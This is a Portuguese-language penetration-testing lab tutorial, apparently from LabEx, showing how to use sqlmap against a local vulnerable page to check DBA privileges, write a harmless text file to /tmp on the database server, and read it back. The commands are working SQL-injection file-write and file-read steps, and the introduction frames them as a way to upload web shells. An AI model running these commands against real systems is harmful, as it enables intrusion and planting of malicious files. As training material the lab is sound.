Introdução
Neste laboratório, você explorará um recurso poderoso do sqlmap: a capacidade de gravar arquivos locais em um servidor remoto. Essa capacidade é crucial em cenários de testes de penetração, permitindo que você carregue web shells, arquivos de configuração ou outros payloads maliciosos para um servidor comprometido. Abordaremos os pré-requisitos necessários, como confirmar privilégios de DBA e identificar diretórios graváveis, e em seguida, detalharemos o processo de criação de um arquivo localmente, usando o sqlmap para carregá-lo e, finalmente, verificando sua presença no servidor.
Confirmar Privilégios de DBA e Permissões de Escrita em Diretórios
Nesta etapa, você usará o sqlmap para verificar se o usuário atual do banco de dados possui privilégios de DBA (Administrador de Banco de Dados) e identificar diretórios no servidor que são graváveis. Ter privilégios de DBA é frequentemente um pré-requisito para gravar arquivos, e conhecer os diretórios graváveis é essencial para escolher um destino para o seu arquivo carregado.
Primeiro, vamos verificar os privilégios de DBA. Isso é crucial porque o sqlmap geralmente requer privilégios elevados para realizar operações no sistema de arquivos.
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --is-dba
Você deverá ver uma saída indicando se o usuário é um DBA. Procure por uma linha semelhante a [INFO] the back-end DBMS user is a DBA.
Em seguida, precisamos encontrar um diretório gravável no servidor. O sqlmap pode ajudar com isso tentando identificar caminhos graváveis comuns. Usaremos a opção --file-write com um arquivo fictício e um diretório gravável comum como /tmp para testar. Embora ainda não estejamos gravando um arquivo, este comando pode ajudar a confirmar as capacidades de escrita.
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write=/dev/null --file-dest=/tmp/test_write.txt --batch
O sinalizador --batch instrui o sqlmap a usar respostas padrão para as perguntas, o que é útil para automação. Se o comando for executado sem erros relacionados a permissões, isso sugere que /tmp é gravável.
Saída esperada para --is-dba:
...
[INFO] checking if the back-end DBMS user is a DBA
[INFO] the back-end DBMS user is a DBA
...
Saída esperada para teste de permissões de escrita (pode variar, mas procure por mensagens de sucesso ou ausência de erros de permissão):
...
[INFO] the file '/tmp/test_write.txt' has been successfully written on the back-end DBMS file system
...
Criar um Arquivo Local para Upload (ex: upload.txt)
Nesta etapa, você criará um arquivo de texto simples em sua máquina local (o ambiente LabEx) que pretende carregar para o servidor alvo. Este arquivo pode conter qualquer conteúdo, mas para este laboratório, criaremos um arquivo de texto básico para demonstrar o processo.
Navegue até a pasta project do seu diretório home, que é o diretório de trabalho padrão neste ambiente de laboratório.
cd ~/project
Agora, crie um arquivo chamado upload.txt com algum conteúdo usando o comando echo e redirecionamento.
echo "This file was uploaded from the LabEx environment!" > upload.txt
Você pode verificar o conteúdo do arquivo usando cat:
cat upload.txt
Saída esperada:
This file was uploaded from the LabEx environment!
Usar --file-write e --file-dest para Especificar Origem e Destino
Nesta etapa, você aprenderá sobre as opções do sqlmap usadas para gravação de arquivos: --file-write e --file-dest.
--file-write: Esta opção especifica o caminho local do arquivo que você deseja carregar. Osqlmaplerá o conteúdo deste arquivo.--file-dest: Esta opção especifica o caminho absoluto no servidor remoto onde osqlmapdeve gravar o arquivo. É crucial fornecer um caminho para um diretório ao qual o usuário do banco de dados tenha permissões de escrita. Com base em nossa etapa anterior,/tmp/é um bom candidato.
Prepararemos o comando sqlmap usando essas opções, mas não o executaremos até a próxima etapa. Isso permite que você entenda a estrutura do comando primeiro.
O comando ficará assim:
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write="/home/labex/project/upload.txt" --file-dest="/tmp/uploaded_file.txt" --batch
Vamos detalhar o comando:
-u "http://localhost/vulnerable/index.php?id=1": A URL alvo com a vulnerabilidade de injeção SQL.--file-write="/home/labex/project/upload.txt": O caminho completo para o arquivo local que você criou na etapa anterior. Lembre-se que~/projectse expande para/home/labex/project.--file-dest="/tmp/uploaded_file.txt": O caminho completo onde o arquivo será gravado no servidor remoto. Estamos usando/tmp/como o diretório de destino e nomeando o arquivo carregado comouploaded_file.txt.--batch: Para automatizar o processo e aceitar as escolhas padrão.
Reserve um momento para revisar o comando e garantir que os caminhos estejam corretos.
Executar o Comando para Carregar o Arquivo para um Diretório Gravável
Nesta etapa, você executará o comando sqlmap preparado na etapa anterior para carregar upload.txt de sua máquina local para o diretório /tmp/ no servidor alvo, nomeando-o como uploaded_file.txt.
Execute o comando sqlmap:
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-write="/home/labex/project/upload.txt" --file-dest="/tmp/uploaded_file.txt" --batch
O sqlmap agora tentará gravar o arquivo. Você deverá observar o progresso do sqlmap enquanto ele tenta diferentes técnicas para carregar o arquivo. Se for bem-sucedido, o sqlmap relatará que o arquivo foi gravado.
Saída esperada (procure pela mensagem de sucesso):
...
[INFO] the file '/tmp/uploaded_file.txt' has been successfully written on the back-end DBMS file system
...
Esta mensagem confirma que o sqlmap acredita ter gravado com sucesso o arquivo no destino especificado no servidor.
Verificar o Upload Bem-sucedido usando o Comando --file-read
Nesta etapa final, você verificará se o arquivo foi realmente carregado para o servidor e se seu conteúdo está correto. Você pode fazer isso usando a opção --file-read do sqlmap, que permite ler arquivos do servidor remoto.
Use a opção --file-read, especificando o caminho para o arquivo que você acabou de carregar no servidor:
sqlmap -u "http://localhost/vulnerable/index.php?id=1" --file-read="/tmp/uploaded_file.txt" --batch
O sqlmap tentará ler o arquivo e exibir seu conteúdo no terminal.
Saída esperada:
...
[INFO] retrieved file content:
This file was uploaded from the LabEx environment!
...
Se você vir o conteúdo "This file was uploaded from the LabEx environment!", isso significa que seu arquivo foi carregado com sucesso e pode ser lido do servidor. Isso confirma todo o processo de gravação de um arquivo local no servidor usando sqlmap.
Resumo
Neste laboratório, você aprendeu com sucesso como aproveitar as capacidades de gravação de arquivos do sqlmap. Você começou confirmando os privilégios de DBA e identificando diretórios graváveis no servidor alvo. Em seguida, criou um arquivo local e usou o sqlmap com as opções --file-write e --file-dest para carregá-lo no servidor. Finalmente, verificou o upload bem-sucedido lendo o conteúdo do arquivo do servidor usando a opção --file-read. Essa habilidade é fundamental em testes de penetração para várias atividades pós-exploração.


